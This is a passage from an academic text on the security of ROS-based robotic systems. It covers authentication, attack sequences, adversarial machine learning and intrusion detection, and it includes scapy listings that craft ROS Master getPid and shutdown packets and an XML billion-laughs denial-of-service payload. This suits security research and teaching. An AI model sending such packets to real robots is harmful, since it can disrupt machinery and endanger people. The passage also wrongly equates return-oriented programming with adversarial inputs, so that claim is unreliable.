messages for this communication). Once the {TLS} session is established, the {ROS}\xspace master can replace all pre-installed keys, \emph{a.k.a.}\xspace transport keys, and certificates with new ones. A malicious manufacturer can, depending on the key exchange mechanism, still record all messages transmitted during the replacement of the transport keys can thus get hold of the new keys (and certificates). To prevent this, one needs to run the key replacement protocols in a closed environment, \emph{e.g.}\xspace, under the supervision of the system administrator and other technical protections.
\paragraph{Unregistering of a Component:} the event of unregistering a component is more tricky since if symmetric encryption is there to replace a certificate-based authentication (for efficiency reasons), the involved keys are only shared between two nodes $A$ and $B$, while node $B$ only actively interacts with the {ROS}\xspace master for the de-registration, but not with node $A$. To resolve this, we can make use of the {API} callbacks to get notified about a parameter change. Specifically, once a component $B$ was registered with the {ROS}\xspace master, the master can maintain a status parameter for this component, on which a component $A$ that $B$ later makes contact with can place a hook to receive a callback upon a status change related to $B$. This callback, in turn, would require $A$ to present $B$'s certificate also to the {ROS}\xspace master, as assurance that (i) $B$ has sought contact with $A$, and (ii) that $A$ is hence permitted to receive the respective callback. If the status of $B$ changes upon a de-registration, and $A$ receives the respective call from the {ROS}\xspace master, $A$ can simply remove the stored secret key $k_{A,B}$, to effectively blacklist the de-registered device. Similarly, the {ROS}\xspace master can actively maintain a blacklist of certificate serial numbers, to which the serial number of the certificate of $B$ is added after the de-registration.
\paragraph{Using Symmetric Cryptography:}
Public key cryptography has the appeal of relatively simpler key management, coming with the price-tag of shorter-lived keys and the need to replace certificates and keys from time to time. This incurs both, an investment of time and money, and as such could be abandoned in favor of a seemingly simpler alternative of using symmetric cryptographic primitives. Indeed, it is possible to accomplish authentication, confidential communication and authorization purely on grounds of symmetric cryptography, such as done in systems like Kerberos \cite{neumann_kerberos_2005}, or multipath transmission and -authentication techniques \citep{rass_network_2013,rass_multipath_2010,rass_community-based_2019}. The latter techniques also lend themselves to quantification of security with help of game theory \citep{rass_secure_2015}, and the systematic optimization of the key management in the network \cite{rass_perfectly_2018}. In light of this research, however, not having yet grown beyond academic experimental results, we leave this road unexplored hereafter.
\subsection{How Defenses Work}\label{sec:defense-attack-examples}
Let us close this section with a glance at how attacks on {ROS}\xspace use the {API}, and where the cryptographic protection would cause a failure of the attack sequence. We borrowed the following three examples provided by \cite{koubaa_penetration_2020}, referring to {ROS}1 (i.e., not to be mixed up with its successor project {ROS}\xspace 2). Note, that more attack vectors to {ROS}\xspace are known and can be found in the cited literature. The attacks are action sequences between the {ROS}\xspace master \textsc{M}, a publisher \textsc{P}, a subscriber \textsc{S}, and the adversary \textsc{A}.
\paragraph{Example 1: Stealth Publisher Attack}
This attack is about injections of false data into a running {ROS}\xspace application. The attacker disguises itself as a legitimate publisher and issues a \texttt{publisherUpdate} to replace the legitimate publishers from the subscribers' points of view. Figure \ref{fig:stealth-publisher-attack} displays the sequence diagram, in which the unprotected call to publisherUpdate is vital to the issue. With this call under access control and prior authentication, the attacker's node's call would be rejected.
\begin{figure}
\centering
\includegraphics{figures/stealth-publisher-attack.pdf}
\caption{Sequence diagram of a stealth publisher attack}
\label{fig:stealth-publisher-attack}
\end{figure}
\paragraph{Example 2: Malicious Parameter Update Attack}
Here, the attacker targets a node \textsc{N} and unsubscribes on its victim's behalf to any future parameter updates, aiming at sending those updates itself. Figure \ref{fig:malicious-param-attack} displays the sequence diagram. Cryptographic authentication with access control would enforce here that only the previously registering identity can later unregister for the parameter updates. Applied to this, the attacker would have to forge its victim's identity to succeed in unsubscribing on \textsc{N}'s behalf. This either requires a forged certificate or knowledge of the secret key shared between \textsc{N} or the {ROS}\xspace master. The latter is only possible by hijacking the node \textsc{N} itself or hacking into \textsc{N}'s key store. In both cases, the adversary has, effectively, become node \textsc{N}, at least from a cryptographic perspective on how identities are defined (namely by knowledge of secret keys).
\begin{figure}
\centering
\includegraphics{figures/malicious-param-attack.pdf}
\caption{Sequence diagram of a malicious parameter update attack}
\label{fig:malicious-param-attack}
\end{figure}
\begin{figure}
\centering
\includegraphics{figures/service-isolation-attack.pdf}
\caption{Sequence diagram of a service isolation attack}
\label{fig:service-isolation-attack}
\end{figure}
\paragraph{Example 3: Service Isolation Attack}
Here, the attacker directly asks the {ROS}\xspace master to unregister a service, so that another node (here \textsc{C}) cannot access that service subsequently. Figure \ref{fig:service-isolation-attack} displays the sequence diagram Again, access control to the {API} call \texttt{unregisterService} can prevent this.
\section{Vulnerabilities of AI-Enabled Robotic Systems}\label{sec:ai-enabled-robotics}
Attacks are not limited to the interplay of the robot software and hardware components themselves, but may also target the behavior of individual components as such. Among these is the planning of actions, often employing {AI} algorithms at the core and decision-making logic. An adversary can try to influence both in several ways, such as:
\begin{enumerate}
\item replacement of entire components in hard- or software with parts that s/he can control
\item manipulate the behavior of algorithms by properly crafted inputs, without touching the algorithm itself
\end{enumerate}
Taking the first option requires the adversary to interfere with the manufacturing process of the robot itself. Striving for the second option is in some cases easier if proper inputs can be crafted to mislead the system into unwanted behaviors. The latter has grown into its own branch of security research known as \emph{return-oriented programming} \citep{ruan_survey_2016}, which is basically the art of exploiting buffer overflows to the end of running arbitrary code by properly crafted inputs to the system. Secure coding practices are the natural countermeasure here. Other techniques target the planning or {AI} components more directly and over more mathematical routes, and we designate the discussion below to more details on this.
To protect against replacements, the whole spectrum of production line security applies, ranging from transport codes to assure the authenticity of parts along supply chains, and the loading and execution of digitally signed code from trusted vendors only. Cryptographic parts in the system, as well as any source of randomness, require particular attention and special security. For example, random number generators must not be predictable in the sense that the attacker should be unable to tell (or at least roughly anticipate) what future random values may come up based on past recordings. This requirement is obvious in examples like encryption of streams, where the attacker should not successfully forecast the key stream for the communication. Certified components like cryptographic random number generators naturally satisfy this requirement. However, the need extends to any use of game theory too. Specifically, games implicitly assume that neither player can reliably forecast the opponent's actions, and game-theoretic defenses, such as moving targets, strongly rely on this. Random number generators are therefore crucially required to (i) be unpredictable to the extent possible, and (ii) to assure the sought shape of the distribution of random numbers (for cryptography, this is mostly a uniform distribution, but for game theory, arbitrary distributions can arise).
Adopting a quantitative approach to randomness, it is tempting to think of entropy as the right measure here, but this can be misleading if the specification is unclear about which type of entropy: Shannon-entropy, which is a widely understood default of the (unspecific) term ``entropy'', only relates to ``average encoding length'', but it is \emph{not true} that a random variable with large Shannon entropy is hard to predict (in fact, one can easily construct random variables with arbitrarily high Shannon entropy but which are trivial to predict future values for). For random generators, \emph{min-entropy} is the correct measure of quality when it comes to unpredictability. Second, the genuineness of random generators needs to be assured (as for any other component), to avoid so-called \emph{randomness substitution attacks}, by which even quantum cryptographic systems could be broken \citep{rass_authentic_2020}. This again comes back to the requirement of manufacturing only original parts with assured authenticity. The problem is particularly prevalent in password security, since measuring password strength in terms of entropy should be avoided (for being misleading in possibly several ways); game theory can also help here with proper models to design password choice regimes for robustness \citep{rass_password_2018}.
Overall, the replacement of parts, whether in hard- or software, is only required if the parts have a ``fixed'' function that does not change over time. {AI} is different here in starting off as a rather unspecific algorithm ``variable'' functionality that is, online or offline, trained, resp. fitted, to its designated purpose. Examples include planning algorithms, relying on a formalized definition of the world built into the algorithm as an ontology, or more flexible online-learning algorithms such as deep nets, regression or classification models, etc. Attack vectors then arise upon replacing the ontology (or general world description) for the planning algorithm, or by manipulating the training data for some {AI} component. The field of adversarial machine learning \citep{bianchin_secure_2020,vorobeychik_adversarial_2018,liu_adversarial_2020,zhang2015secure,zhang2017game,zhang_game-theoretic_2017,zhang2018game} is about demonstrating how sensitive planning and {AI} algorithms can react upon small changes in their inputs (whether for training or processing), and how to make the algorithms more robust. In a nutshell, robustness is gained by the explicit inclusion of a random error in the training data for the training algorithm, so that a likewise error in the later inputs to the system will not cause the {AI} to come up with the wrong decisions. \emph{Robust game theory} \citep{aghassi_robust_2006} provides a formal framework, seeking not to optimize the expected behavior, but rather seeking to optimize the worst-possible behavior within a limited error deviation from the proper inputs. That is abstractly speaking, if $f(\vec x,\vec y)$ denotes the output under environmental conditions $\vec x$ and our own action $\vec y$, conventional {AI}, decision making or game theory would search for some action $\vec y$ to optimize
\begin{equation}\label{eqn:conventional-optimization}
\text{best action }\vec y^*=\mathop{\text{argmax}}_{\vec y} f(\vec x,\vec y)\text{ in the current situation }\vec x,\nonumber
\end{equation}
assuming a maximization here (without loss of generality). Contrary to this, \emph{robust optimization} would allow for some error $\varepsilon$ to occur in the description $\vec x$ of the situation, and perhaps even in the actions that we may take (game-theoretically, this leads to the concept of a trembling hand equilibrium); so a robust choice of a
\begin{align}
\text{best action is }\vec y^*=&\mathop{\text{argmax}}_{\vec y} \overbrace{\left(\min_{\norm{\delta_1},\norm{\delta_2}\leq\varepsilon} f(\vec x+\delta_1,\vec y+\delta_2)\right)}^{\text{worst case outcome under errors}}\label{eqn:robust-optimization}\\
&\text{ in the current situation }\vec x.\nonumber
\end{align}
Problem \eqref{eqn:robust-optimization} states that within some pre-defined (small) tolerance of $\varepsilon>0$, we allow a deviation $\delta_1$ in any of the input values $\vec x$, and another likewise bounded deviation $\delta_2$ in the action that we take, and optimize the worst that can happen under these possible deviations, which is the minimization over the deviations (the norms $\norm{\delta_1},\norm{\delta_2}$ appear here only for technical reasons of the optimization and only express that the errors cannot be arbitrarily large). Robust {AI} instantiates \eqref{eqn:robust-optimization} by letting $f$ be the deviation between training data and the current output of the {AI} algorithm, e.g., a deep neural network. Planning algorithms can be designed as an instance of \eqref{eqn:robust-optimization} by letting $\varepsilon$ be interpreted as a measure of how accurate sensor information can be. In that case, $\varepsilon$ has a direct interpretation of necessary accuracy for the sensor data to lead to reasonable decisions; or equivalently, the attacker can manipulate sensor data up to a deviation of $\varepsilon$ before the processing algorithm outputs unusable decisions. This is especially useful for image or object recognition: many examples of adversarial machine learning apply to manipulations of images that are invisible for the human eye, but can strongly interfere with the pattern recognition algorithm if it is based on {AI}, as \cite{yuan_adversarial_2018} impressively demonstrates. The robust training of an {AI} algorithm can avoid the problem by allowing for the training images to deviate slightly at random (up to a tolerance of $\varepsilon$), but still yielding the right results. The exact magnitude of $\varepsilon$ (and hence the particular norm in \eqref{eqn:robust-optimization} then depends on how much difference $<\varepsilon$ would elude the human eye, and at which difference $>\varepsilon$ the manipulation would become visible and recognizable in the training data already).
Zero-sum games, as we cover in detail in Chapter \ref{sec:game-theory-intro}, assign the inner optimization to the adversary directly, thus seeking the best decision under anything that the attacker can do. The error tolerance $\varepsilon$ imposed in \eqref{eqn:robust-optimization} is then replaced by the entire action space of the attacker (thus retaining some limitation on what can happen, only in a different way as by a numeric error), but the concept remains the same: zero-sum game models for security provide the best advice against any action that the attacker can mount within a pre-defined set of possibilities. The game in Section \ref{sec:cut-the-rope} is one particular instance of such reasoning. We remark, however, that the unpredictability of actions is not often address in game-theoretic optimizations, but are not difficult to include in a multi-criteria game for decision making \citep{rass_security_2018,zhu_security_2020}. Nonetheless, a randomness substitution attack against a game-theoretic defense system could be the replacement of an equilibrium strategy by what the adversary prefers. This can be achieved by replacing the random generators used for the decision component. This closes the loop back to the need of having authentic components and trusted platforms to run all algorithms. Likewise, crafted inputs can make {AI} decision support components behave in any way that the adversary prefers unless the training was performed using robust methods. It is thus generally not recommended to take {AI} components just from ``ready-to-use'' libraries when constructing a robot, but rather to carefully evaluate the implementation and training of all decision support components, with an eye on robustness.
\chapter{Security of Networked Robotic Systems}
\label{chapter:security-networked-robotic-systems}
Robotics is the art of system integration. An art that aims to build machines that operate autonomously: robots. A robot is often understood as a system with networks of devices. A system of systems. One that comprises sensors to perceive its environment, actuators to act on it and a compute substrate (often CPU-based) that processes it all and commands according to its use case. All these devices are interconnected through one or several networks. Networking security in robotics is thereby of utmost importance.
The following sections will summarize some security considerations for networked robotic systems. First, we will discuss intra-robot network security in {ROS}\xspace. Second, we will analyze inter-robot network security aspects for an industrial setup and finally, we will look into more advanced topics to consider when looking at networked robotic systems.
\section{Security in {ROS}\xspace Networked Systems}
\label{section:security-ros-networked}
{ROS}\xspace is rapidly becoming a standard in robotics however as previously introduced, it was not designed with security in mind. Nonetheless, it presents one of the most widely adopted and accepted examples of intra-networked robotic systems. All components that form {ROS}\xspace-based robots are abstracted and integrated into a common data structure: the ( {ROS}\xspace) \textbf{computational graph}. It models the overall robotic behavior through each individual computation represented as a Node, communicating with other computation Nodes through Topics (a continuous dataflow of information within a databus) and other abstractions. The computational graph not only helps visualize the robotic behavior but also drives the design process by partitioning each robotic computation into Nodes. More specifically, it abstracts the networked nature of robotic systems and helps software engineers develop the behavior without caring about the underlying networks connecting robot components (sensors, actuators, and cognition, among others).
From an electrical engineering's perspective, the computational graph can be understood as the \emph{schematic} of the overall robot whereas the \emph{layout} (following with electrical engineering terms), the one capturing the physical networks interconnecting robot components, is often denominated as the ( {ROS}\xspace) \textbf{data layer graph}. The data layer graph thereby represents the physical groupings and connections of robot components that implement the behavior modeled in the computational graph.
From a security perspective, we should care about both. Figure \ref{fig:ros_networked_1} provides a simplified example. The computational graph reflects functional aspects of the robot and thereby should be hardened to avoid exposed flaws that empower attackers to influence the robot behavior. At the same time, the data layer graph reflects the physical network map of the robot and any attack vector will need to leverage entry points in such a physical map. \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope} is one game-theoretic model played on exactly the logical graph-theoretic layout of a system, describing penetration attempts. Other game models focus on interceptions in the orchestration of components, such as the synchronization between {UAV}; see Section \ref{sec:example-games} for this and further examples).
\begin{figure}[!h]
\centering
\includegraphics[width=0.9\textwidth]{figures/computational_graph.jpg}
\includegraphics[width=0.9\textwidth]{figures/data_layer_graph.jpg}
\caption{An exemplary {ROS}\xspace-based robotic system represented by its abstractions, the computational graph (top) and the data layer graph (bottom). }
\label{fig:ros_networked_1}
\end{figure}
In this section, we analyze both and walk the reader through common security issues observed in {ROS}\xspace networked systems. Particularly, we highlight how through exploiting the {ROS}\xspace architecture or the underlying networking protocols, security is easily compromised inside a robot's network.
\subsection{Instrumenting the {ROS}\xspace data layer graph}
As with other branches of testing, security testing often requires engineers to instrument their subjects so that results become measurable. To explore both the {ROS}\xspace computational graph and the data layer graph, we develop a Python implementation of the TCPROS transport layer for {ROS}\xspace. This implementation is built on top of \href{https://github.com/secdev/scapy}{scapy}, a packet manipulation framework that can forge or decode packets of a wide number of protocols. Listing \ref{lst:tcpros_dissector} presents a portion of one such implementation\footnote{\textbf{Disclaimer}: By no means the authors or Alias Robotics encourages or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material damages. The portion of the code disclosed is meant only for academic purposes.} often included in security-oriented toolboxes like alurity~\citep{mayoral2020alurity}.
\lstset{language=Python}
\lstset{label={lst:tcpros_dissector}}
\lstset{basicstyle=\tiny,
numbers=left,
firstnumber=1,
stepnumber=1,
commentstyle=\color{lightgray}}
\lstset{caption={
The portion of a package dissector and crafter for TCPROS transport layer targeting {ROS}\xspace Melodic Morenia 1.14.5.
}
}
\lstset{escapeinside={<@}{@>}}
\begin{lstlisting}
# Copyright (C) Alias Robotics <contact@aliasrobotics.com>
# This program is published under a GPLv3 license
# Author:
# Victor Mayoral-Vilches <victor@aliasrobotics.com>
"""
TCPROS transport layer for ROS Melodic Morenia 1.14.5
"""
# scapy.contrib.description = TCPROS transport layer for ROS Melodic Morenia
# scapy.contrib.status = loads
# scapy.contrib.name = tcpros
import struct
from scapy.fields import (
LEIntField,
StrLenField,
FieldLenField,
StrFixedLenField,
PacketField,
ByteField,
StrField,
)
from scapy.layers.inet import TCP
from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse
from scapy.packet import *
class TCPROS(Packet):
"""
TCPROS is a transport layer for ROS Messages and Services. It uses
standard TCP/IP sockets for transporting message data. Inbound
connections are received via a TCP Server Socket with a header
containing message data type and routing information.
This class focuses on capturing the ROS Slave API
An example package is presented below:
B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64 ....&...callerid
3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35 =/rostopic_88305
5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00 _1591538787501..
00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00 ..latching=1'...
6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 md5sum=992ce8a16
38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37 87cec8c8bd883ec7
33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61 3ca41d1....messa
67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74 ge_definition=st
72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F ring data.....to
70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00 pic=/chatter....
74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74 type=std_msgs/St
72 69 6E 67 ring
Sources:
- http://wiki.ros.org/ROS/TCPROS
- http://wiki.ros.org/ROS/Connectio
- https://docs.python.org/3/library/struct.html
- https://scapy.readthedocs.io/en/latest/build_dissect.html
TODO:
- Extend to support subscriber's interactions
- Unify with subscriber's header
NOTES:
- 4-byte length + [4-byte field length + field=value ]*
- All length fields are little-endian integers. Field names and values are strings.
- Cooked as of ROS Melodic Morenia v1.14.5.
"""
name = "TCPROS"
def guess_payload_class(self, payload):
string_payload = payload.decode("iso-8859-1") # decode to string for search
# flag indicating if the TCPROS encoding format is met (at a general level)
# 4-byte length + [4-byte field length + field=value ]*
total_length = len(payload)
total_length_payload = struct.unpack("<I", payload[:4])[0]
remain = payload[4:]
remain_len = len(remain)
# flag of the encoding format
flag_encoding_format = (total_length > total_length_payload) and (
total_length_payload == remain_len
)
flag_encoding_format_subfields = False
if flag_encoding_format:
# flag indicating that sub-fields meet
# TCPROS encoding format:
# [4-byte field length + field=value ]*
flag_encoding_format_subfields = True
while remain:
field_len_bytes = struct.unpack("<I", remain[:4])[0]
current = remain[4 : 4 + field_len_bytes]
remain = remain[4 + field_len_bytes :]
if int(field_len_bytes) != len(current):
# print("BREAKING - int(field_len_bytes) != len(current)")
flag_encoding_format_subfields = False
break
if (
"callerid" in string_payload
and flag_encoding_format
and flag_encoding_format_subfields
):
return TCPROSHeader
elif flag_encoding_format and flag_encoding_format_subfields:
return TCPROSBody
elif flag_encoding_format:
return TCPROSBodyVariation
elif "HTTP/1.1" in string_payload and "text/xml" in string_payload:
# NOTE:
# - "HTTP/1.1": corresponds with melodic
# - "HTTP/0.3": corresponds with kinetic
# return HTTPROS # corresponds with XML-RPC calls (Master and Parameter APIs)
return HTTP # use old-fashioned HTTP, which gives less control over fields
elif "HTTP/1.0" in string_payload and "text/xml" in string_payload:
return HTTP # use old-fashioned HTTP, which gives less control over fields
else:
# return Packet.guess_payload_class(self, payload)
return Raw(self, payload) # returns Raw layer grouping not only the
# payload but this layer itself.
...
\end{lstlisting}
\subsection{The {ROS}\xspace computational graph}
Armed with listing \ref{lst:tcpros_dissector}, introspecting the computational graph in search for insecurities becomes a simpler process. Starting from the reproduction of common requests between nodes, a researcher would incrementally use a variety of techniques to challenge the resilience of the computational graph when presented with uncommon or unexpected packages. For example, listing \ref{lst:getpid} shows how to craft a package to obtain the {PID} of the {ROS}\xspace Master (local process {PID} in the machine where it's running). This information disclosure vulnerability leads to no further security hazards however, variations of this construct will. Another example introduced in listing \ref{lst:shutdown} allows intra-network attacks that will frustrate the computational graph as a whole, shutting it down.
\lstset{caption={Default package to execute "getPid" method of Master API}}
\lstset{label={lst:getpid}}
\begin{lstlisting}
package_getPid = (
IP(version=4, ihl=5, tos=0, flags=2, frag=0, dst="12.0.0.2")
/ TCP(
sport=20000,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"159",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"getPid",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rostopic</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
\end{lstlisting}
\lstset{caption={Default package to execute "shutdown" method of Master API}}
\lstset{label={lst:shutdown}}
\begin{lstlisting}
package_shutdown = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20001,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"shutdown",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>4L145_R080T1C5</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
\end{lstlisting}
\subsection{The {ROS}\xspace data layer graph}
Below the computational graph sits the data layer graph, which includes lower-layer protocols. Various security issues affect the {ROS}\xspace data layer graph~\citep{mayoral2020can}, including TCP's SYN-ACK DoS flooding or FIN-ACK flood attacks. These and many more attacks can easily be implemented using simple constructs that make use of \ref{lst:tcpros_dissector}. As an additional example, listing \ref{lst:xxe} presents an XML External Entity attack (codenamed as the Billion Laughs attack) that leverages flaws in the underlying XMLRPC protocol. This flaw was reported as part of a technical report first~\citep{sicherheitsuntersuchungrobot} and applies to {ROS}\xspace Indigo distro and previous ones.
\lstset{caption={A package that crafts the billion laughs attack exploiting a vulnerability in the XMLRPC underlying protocol.}}
\lstset{label={lst:xxe}}
\begin{lstlisting}
package_xxe = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20000,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.0",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?><!DOCTYPE string [<!ENTITY a0 'dos' ><!ENTITY a1 '&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;'><!ENTITY a2 '&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;'><!ENTITY a3 '&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;'><!ENTITY a4 '&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;'><!ENTITY a5 '&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;'><!ENTITY a6 '&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;'><!ENTITY a7 '&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;'><!ENTITY a8 '&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;'> ]>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"getParam",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-924sdasds18</string></value>\n</param>\n<param>\n<value><string>/rosdistro &a8; </string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
\end{lstlisting}
\subsection{Intrusion and Anomaly Detection}
As with any networked or distributed systems, intrusion and anomaly detection is one of the standard tools for security precautions \citep{fung2010bayesian,fung2016facid,fung2011smurfen}. Many applications in robotics commonly follow deterministic patterns of information flows, communications, and motions (e.g., when robots are designed and assembled in a standardized way), although exceptions may exist. When the robot is programmed to automate repetitive mechanical tasks, collected data, including sensor information, moves, and locations, can be accurately predicted by internal models. The data can be naturally used for the detection of anomalies upon every ``significant?? deviation from the expected, i.e., programmed, behaviors.
One aspect to take into account when designing Intrusion Detection Systems ({IDS}) for robots is the fragmented way of the design process. Robot manufacturers often implement their wire-level protocol, with its meta-fields and payloads which make it difficult to adapt traditional (general purpose) {IDS} to robotics. For {IDS} mechanisms to be effective, they need to account for the particularities of robot protocols and extend their logic with appropriate package dissectors\footnote{Note that we have introduced in Section 3 a dissector for {ROS}\xspace, which uses a particular communication middleware assumed over Ethernet networks.}. To this end, there is a need to complement conventional {IDS} and run customized {IDS} in parallel, either as network-based, host-based, or hybrid implementation, using black- or whitelisting of patterns in the network traffic or log files, and event correlation to detect attacks.
The whole spectrum of detection technologies for general cyber-physical systems applies to robots \citep{skopik_synergy_2020}. The automated analysis of log files is of particular relevance for robotics when it comes to matters of \emph{accountability} \citep{ApplicationSecROS,kosta_trust_2019} in forensic investigations after accidents or observed misbehavior of a robot. Finally, the attempts to poison training or input data to {AI} decision support components, such as outlined in Section \ref{sec:ai-enabled-robotics}, are likewise nothing but anomalies or intrusion attempts, and {IDS} can help detect them before they cause any harm. However, it is generally advisable to consider any such precautions as an auxiliary security measure. Developers and users cannot completely rely on {IDS} for security. Instead, we need to design proactive and strategic defense mechanisms for further protections, which will be discussed in Section \ref{sec:game-theory-intro}.
\section{Security for Industrial Multi-Agent Robotic Systems}
\label{section:multiagent-industrial-robots}
\begin{figure*}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/esquema.png}}%
\centering
\caption{
\footnotesize \textbf{Use case architecture diagram}. The synthetic scenario presents a network segmented in 5 levels with segregation implemented following recommendations in NIST SP 800-82 and IEC 62443 family of standards. There are 6 identical robots from Universal Robots presenting a variety of networking setups and security measures, each connected to their controller. $\hat{S_n}$ and $\hat{C_n}$ denote security hardened versions of an $n$ control station or controller respectively.
}
\label{fig:networking_multi_agent_architecture}
\end{figure*}
Robotic systems in industry are generally composed by multiple robot endpoints interconnected and coordinated. Accordingly, on top of intra-robot network security issues described in the previous sub-section another dimension arises, inter-robot network security. Figure \ref{fig:networking_multi_agent_architecture} presents one such synthetic industrial scenario~\citep{mayoral2020can} to study the interactions between different robots and the insecurities arising from them. The scenario presents an assembly line operated by {ROS}\xspace-powered robots while following industrial guidelines on setup and security. The industrial layout is built following NIST Special Publication 800-82 Guide to {ICS} Security~\citep{stouffer2011guide} as well as some parts of ISA/IEC 62443 family of norms~\citep{IEC62443}. Each robot is connected to a Linux-based control station that runs the {ROS}\xspace-Industrial drivers using its corresponding network segment. Control stations are interconnected and hardened by following the guidelines described in a technical report~\citep{redteamingrosindustrial_whitepaper}. To simplify, for the majority of the cases we assume that the controller is connected to a dedicated Linux-based control station that runs {ROS}\xspace Melodic Morenia distribution and the corresponding {ROS}\xspace-Industrial driver. For those cases that do not follow the previous guideline, the robot controller operates independent from the {ROS}\xspace network (e.g. robots $R_3$ and $R_6$) but still shares the same network segment, being connected to control stations $\hat{S_1}$, $\hat{S_2}$, $\hat{S_4}$ and $\hat{S_5}$.
The following subsections describe several security issues on the industrial multi-agent robotic setup of Figure \ref{fig:networking_multi_agent_architecture}.
\subsection{$A_1$: Targeting {ROS}\xspace-Industrial and {ROS}\xspace core packages from adjacent networks}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-1.png}}%
\centering
\caption{\textbf{Diagram depicting an attack targeting {ROS}\xspace-Industrial and {ROS}\xspace core packages}. The attacker exploits a vulnerability present in a {ROS}\xspace package running in $\hat{S_7}$ (actionlib). Since $\hat{S_7}$ is acting as the {ROS}\xspace Master, segregation does not impose restrictions on it and it is thereby used to access other machines in the {OT}-level to send control commands.}
\label{fig:networking_multi_agent_attack1}
\end{figure}
To reason about this attack, we adopt the position of an attacker with access and privileges in a development machine $D_1$ in the {IT} side of the scenario, \textbf{Level 4}. Reaching such machine is beyond the scope of this particular study but generally consists of an attacker using either a Wide Area Network (WAN) (such as the Internet) or a physical entry-point to exploit an existing vulnerability in the development machine $D_1$ and obtain a certain amount of privileges (\textbf{step 1} of the attack diagram of Figure \ref{fig:networking_multi_agent_attack1}). Further to that, a privilege escalation will be performed by the exploitation of additionally vulnerable services, which allows the attacker to eventually gain privileges into $D_1$ and command it as desired (\textbf{step 2}). From $D_1$, an attacker would pivot into \textbf{Level 3} by exploiting a vulnerability or misconfiguration (or a combination of both~\citep{mayoral2020can}) in the {ROS}\xspace core and/or {ROS}\xspace-Industrial packages (\textbf{step 3}). Having gained control of the Central Control Station $S_7$ the attacker could decide to establish a reverse channel of communications directly --avoiding the developer station-- (\textbf{step 4}) or proceed to control {OT} (\textbf{Level 2 and below}) by sending commands via the {ROS}\xspace computational graph (\textbf{step 5}).\\
\subsection{$A_2$: Targeting underlying network protocols}
Another approach to attacking multi-agent robotic systems consists of targeting underlying network protocols interconnecting the different robot endpoints. This possibility is depicted in Figure \ref{fig:networking_multi_agent_attack2}.
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-2.png}}%
\centering
\caption{\textbf{Architecture diagram depicting attacks to {ROS}\xspace via underlying network protocols}. Depicts two offensive actions performed as part of $A_2$. The SYN-ACK DoS flooding does not affect $\hat{S_7}$ due to hardening. In green, a previously established ROSTCP communication between $\hat{S_4}$ and $\hat{S_7}$. In red, the FIN-ACK attack which successfully disrupts the network interaction leveraging flaws in underlying network protocols.}
